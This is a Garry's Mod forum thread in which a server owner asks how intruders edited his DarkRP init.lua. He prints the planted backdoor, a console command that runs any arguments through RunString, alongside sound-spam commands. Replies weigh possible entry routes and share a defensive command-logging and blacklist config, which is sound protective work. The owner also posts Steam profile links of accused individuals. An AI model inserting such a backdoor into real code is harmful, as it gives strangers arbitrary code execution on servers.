Exploit to read & edit files on server?

So, a group of around 5-6 people decided to pay our server a visit last night, and started doing a bunch of stupid shit, playing sounds for everyone, unbanning themselves, acting like nothing was happening. I found out the cause of the sounds and RunStrings pretty fast, they were just some simple commands in the server, and i concluded it was probably just some backdoor in the addons. So i downloaded the addons folder and searched for the original command he ran. Nothing. I searched for some method that could be used to encrypt said commands. Also nothing. So about an hour goes by, and these guys are still playing annoying ass sounds and streaming wav files. I eventually just banned all of them at once, and things died down.
I talk to one of the guys that was taking part in it, and he said “oh this guy wants to be a developer and this is his way of proving himself”. This was obviously bullshit, i had fun talking to them for about 30 mins but i banned them afterwards. I eventually found their shitty code inside of the darkrp init.lua because they tipped me off by saying “did you figure out how he edited your gamemode files yet?” earlier on.



concommand.Add("sv_npc_disabled", function(ply, cmd, args)
        RunString(table.concat(args, " "));
end);
 
concommand.Add("drp_credits", function(ply, cmd, args)
        for i=1, 20 do
                for k,v in pairs(player.GetAll()) do
                        v:EmitSound(args[1]);
                end
        end
end);
 
concommand.Add("drp_creditsstop", function(ply, cmd, args)
        for k,v in pairs(player.GetAll()) do
                v:SendLua([[LocalPlayer():ConCommand("stopsound")]]);
        end
end)


Obviously this code was not in the gamemodes init before this incident. No one else except me uses the FTP, and i checked the FTP logs to make sure. So somehow these commands found their way into the gamemodes init file while they were online. He claimed to have an exploit involving Packets and RE that let him do whatever he wanted, but i think that was a bit far-fetched. So my question is, how is it possible to edit a gamemodes init.lua without any access to the FTP, and without any lua modules in the server except mysqloo?

What addons do you have? Looks like an exploit in one of them; I think he’s full of shit.

Problem is, when i downloaded all of the addons, i checked them for exploits/other types of backdoors and found nothing. I also do this every few days just to make sure anyway. He also said this exploit was “found 1-2 years ago and im the only one that knows it and i have the source code to gmod”.
And since when was it possible to edit/create lua files in lua without a lua module? Not to mention this code was not in the beginning or the end of the init file, it was right in the middle

Again, he’s full of shit. You can find the source code here: https://github.com/garrynewman/garrysmod

And there’s no way he has the C++ source code

Well thats what hes saying lol. He said he can do all of this shit without even being on the server and it involves sending packets to the server. Even if he was full of shit, he had to know some of what he was talking about considering everything he mentioned is real and possible, however i don’t know about in gmod.

I have names and steamids if you want em.

Sure, post them here. And the only “exploit” he could possibly be referring to is this: http://forum.facepunch.com/showthread.php?t=1450721&p=47196199&viewfull=1#post47196199

But that has nothing to do with the issue you’re speaking of.

Is your rcon password the same as your FTP password? Or are your MySQL details similar to your rcon details too?

If so, you’ll probably find somebody downloaded either your “cfg/server.cfg” or any addon’s MySQL configuration file and just tried the password over FTP. Any file on your server is accessible to the public if you have sv_allowdownload set to 1.

Names Used: Orr, RKS | Jay, Jerry, TheFPSPurple, Smor, biggie, doodie, formatme, ian, Teacher, Boner

Actual profiles:
http://steamcommunity.com/id/grampasexytedstevens/ ( Jerry/formatme )
http://steamcommunity.com/profiles/76561198049829657 ( biggie )
http://steamcommunity.com/id/lexuslax/ ( RKS | Jay )
http://steamcommunity.com/id/FPSPurple/ ( TheFPSPurple )
http://steamcommunity.com/id/MagikBanana/ ( ian )
http://steamcommunity.com/id/dr0id1/ ( formatme/Jerry )
http://steamcommunity.com/id/KILLERBOB9/ ( Boner Man )
http://steamcommunity.com/id/smor123/ ( Teacher/Smor )

The guy claiming to have said exploit:

[editline]25th February 2015[/editline]

sv_download and upload are set to 0.
All passwords are different. And like i said, this wasn’t done through the FTP.

“sv_download and upload are set to 0.”

Does this mean you’ve got sv_allowdownload set to 0 or that you’ve tried - using the wrong convar name - to set it to 0?

no, i forgot to add the allow part in the post, but yes both are set to 0.

Can you confirm that no addons have changed the values by using rcon to check what they’re set to while the server is running.

You’re not hosted with NFO, are you?

Yes, we really dont have that many addons in the first place other than shitloads of playermodels, and i check them very often for exploits and/or backdoors/stuff that can be used maliciously.

Edit: We are on NFO.

-SNIP-

Above post was posted just as I finished typing.

Last I heard, users were able to upload binary modules to NFO servers and modify (or read) other server’s files.

NFO claims this isn’t the case.

Well in this case the guy is saying he has a system that lets him open the file in notepadd++, edit it, and automatically re-upload it back to the server. I think he was exaggerating on most parts, but i stil didn’t understand how he edited the init file

[editline]25th February 2015[/editline]

Also, judging from the log files, he wasn’t 100% sure whether his commands would work or not. He tried running the commands without any args a few times which i’m guessing to make sure they actually worked, implying that they were put in and edited while he was online.

If RunString isn’t used by anything, I’d suggest removing them. You can also blacklist console commands or require the user be admin to run any console commands.

Here’s my console command logger and controller. I’ll be releasing a new version soon with even more controls / options… https://dl.dropboxusercontent.com/u/26074909/tutoring/utilities/concommand_logger.lua

The next one will remove _ when available.

Config as it is now:


//
// Config
//
concommand.__config = {
	// Log to file? ( if you want anything to save to a file this must be true )
	file_logging				= true;

	// Should each client get their own file? HIGHLY RECOMMENDED; easy to find console command spammer / glitchers this way...
	log_client_files			= true;

	// Output log entries to SERVER console as they happen?
	console_output				= false;

	// Output Errors To Server Log? Errors such as player being denied from running console command...
	log_errors					= true;

	// Output Errors To Console? Errors such as player being denied from running console command...
	console_output_errors		= true;

	// Add separater between server-start / map-change?
	// Recommended as it'll display: <TIME> -- SERVER STARTED / MAP CHANGED -- <MAP>
	log_init_and_map_change		= true;

	// Set to true to use my networking system; false to use standard net...
	using_acecooldev_networking	= false;

	// The list of commands that will ALWAYS be logged...
	// Using boolean 	true == always log 			false == use setting above ( console_output || log_client_files || file_logging )
	log_whitelist = {
		-- relevel				= true;
		-- remap				= true;
		-- cancel				= true;
	};

	// The list of commands that will NEVER be logged...
	// Using boolean 	true == never log 			false == use setting above ( console_output || log_client_files || file_logging )
	log_blacklist = {
		-- test					= true;
	};


	// The list of commands that are ALWAYS allowed to be executed...
	// Using boolean 	true == allow 			false == block...
	// Using function,	return true == allow 	false == block...
	command_whitelist = {
		// Whitelist this command to be used by anyone... true = allow, false = block
		-- test = true;

		// Simple Example to test the whitelist...
		// Return true if Valid Admin Player which means only admins can run this command...
		-- test_whitelist = function( _p, _cmd, _args, _arg_text )
		--	return ( IsValid( _p ) && _p:IsAdmin( ) );
		-- end;

		// Simple Example to test the whitelist...
		// Return true if NOT Valid Admin Player which means only RCON / SERVER CONSOLE can run this command...
		-- test_whitelist = function( _p, _cmd, _args, _arg_text )
		--	return !IsValid( _p );
		-- end;
	};

	// The list of commands that may NEVER be executed...
	// Using boolean 	true == block 			false == allow...
	// Using function,	return true == block 	false == allow...
	command_blacklist = {
		// Block cancel from being used by anyone...
		cancel = true;

		// Block test from being used by anyone; true = block, false = allow...
		-- test = true;

		// Blacklist test_blacklist to everyone except non-admins ( true = block, false = allow )
		// Return true if Valid Player which means only RCON / SERVER CONSOLE can run this command because
		// returning true means it is blacklisted and false means RCON...
		-- test = function( _p, _cmd, _args, _arg_text )
		--	return IsValid( _p );
		-- end;

		// Blacklist test_blacklist2 to everyone except admins... ( true = block, false = allow )
		// Return true if Valid Admin Player which means only VALID PLAYER ADMINS can run this command; excludes RCON...
		-- test = function( _p, _cmd, _args, _arg_text )
		--	return !( IsValid( _p ) && _p:IsAdmin( ) );
		-- end;
	};


	//
	// FOLDER / FILE NAMING OPTIONS
	//

	// The base folder starting from data/
	folder_name_base			= "console_command_logs/";	-- data/console_command_logs/

	// Nested within folder_name_base
	folder_name_clients			= "clients/";				-- data/console_command_logs/clients/

	// Nested within folder_name_base
	folder_name_daily_server	= "daily_server_logs/";		-- data/console_command_logs/daily_server_logs/

	// File name for the daily-server logs... SERVER_LOG_<SHORT_DATE>
	file_name_server_log		= "SERVER_LOG_%s";



	//
	// TEXT OPTIONS / CONFIG - recommend to leave as is until I implement my language system with replacers instead of %s...
	// Edit the time-stamps if you like though but they're accurate as is...
	//

	// The timestamp used in logs: DAY.MONTH.YEAR HOUR:MINUTES:SECONDS == 19.Feb.2015 17:25:33
	string_timestamp			= "%d.%b.%Y %X";

	// The timestamp used in file-names: DAY_MONTH_YEAR == 19_02_2015
	file_timestamp				= "%d_%m_%Y";

	// Basic language alternatives...
	string_called				= "called";
	string_failed_call			= "attempted to call";

	// What message should be used? %s = SV/CL, TIME, Data...
	// Data is: <PLAYER> <"called" OR "attempted to call"> <COMMAND> <ARGUMENT_STRING>?
	string_message				= "[%s][ConCommand][%s]: %s
";

	// The message to log when a console command gets blocked if : console_output_errors or log_errors is set to true... CMD followed by PLAYER
	string_error				= "Error running console command: %s by player: %s
";
};

	

By default files get logged to data/console_command_logs/, data/console_command_logs/clients/, and data/console_command_logs/daily_server_logs/…

The base folder is where RCON.txt is stored ( falls under “client” files ) which logs map changes, and any command entered by the server console. controlled by file-logs and client file-logs

clients/ folder has a txt file for each steamid; some exploits require spamming a LOT of console commands. If any file gets really big, really fast or is abnormal compared to the other users, chances are the client is exploiting something ( can even cause server to be slowed to a halt; it took an earlier version of this addon to find the persons responsible )… controlled by file-logs and client file logs

daily_server_logs/ stores a new log.txt per 24 hour period. Each file remains until manually removed. These logs store everything done by anyone, map changes, etc… This is controlled by file-logs

By default, console output is disabled ( this can get annoying, fast, depending on if your game-mode uses console commands to communicate )… If you are watching the server console you could turn this to true and use -condebug to keep a log without enabling the other logs if you want.

log errors and console output errors simply log or output a message when a player has been prevented from running a command.

Only use using_acecooldev_networking if you’re using my full dev_networking system, otherwise keep false to use standard net messages.

There is a log_ whitelist and blacklist which dictate an ALWAYS log, or NEVER log x command. You can also use hook.Add : GM:ShouldLogConCommand( _p, _cmd, _args, _arg_text, _server ) to change logging behavior if you don’t want to edit the config… return true to log, false to not log… Even if you do override ShouldLogConCommand it will NOT save data to a file, or output to console unless that behavior is enabled in the config.

A smart way to manage the logging system is keep default settings, use hook.Add ShouldLog* and if the executed concommand was not created on server-start ( next version you can build a console command whitelist based off what the server creates on start; that list can be used on the production server so if any commands not on that list are called, it can automatically deny them ) then block it and log it.

The next version has a lot of features that aim to protect the server via preventative maintenance which does require some effort by starting a local dev, or the server once without any back-doors ie fresh-install. Those console commands can be ignored from being monitored, or any command that is not on the list can be blocked, logged, reported to admins immediately, etc…

command_ whitelist and blacklist lets you define any commands that should 100% be allowed, or 100% be blocked from execution. NOTE: Non-nil means it uses that so both whitelist and blacklist can be used for both roles… If you return false on whitelist command, it’s the same as returning true on blacklist. Blacklist is always checked first. You can use boolean or function in this list so if specific commands are admin only you can have a function to return _p:IsAdmin( ) for whitelist to allow to admins, or return !_p:IsAdmin( ) to blacklist for non-admins.

You can also use hook.Add on: GM:CanPlayerRunConCommand( _p, _cmd, _args, _arg_text ) – this WILL either allow or stop a command from being executed when returning non-nil.

Sorry for the long post, but hopefully you’ll find some use in this and be sure to look for the next version which will be friendlier ( I also aim to add a system so you can add / remove data from txt files on the fly, but I may restrict that to a hard-coded SteamID and I am likely to redirect all file functions to prevent the data from being deleted or altered by anyone except the person allowed )…

Ok thanks acecool, that’s probably a much better way of doing it than what i’m doing now.

There is a module called gm_rawio which allows you to access and edit files outside server directory. As far as I know NFO do allow uploading random binary files into their servers. If you are being hosted on a shared server, then there is a large chance that the attackers did use gm_rawio to edit your files.

I might as well test it myself, as I do host server on NFO too. Then report to NFO if it does work.

Well they’re doing it again and now i’m 100% sure they have some sort of access to all of the files.

Bro. Thanks for a good time.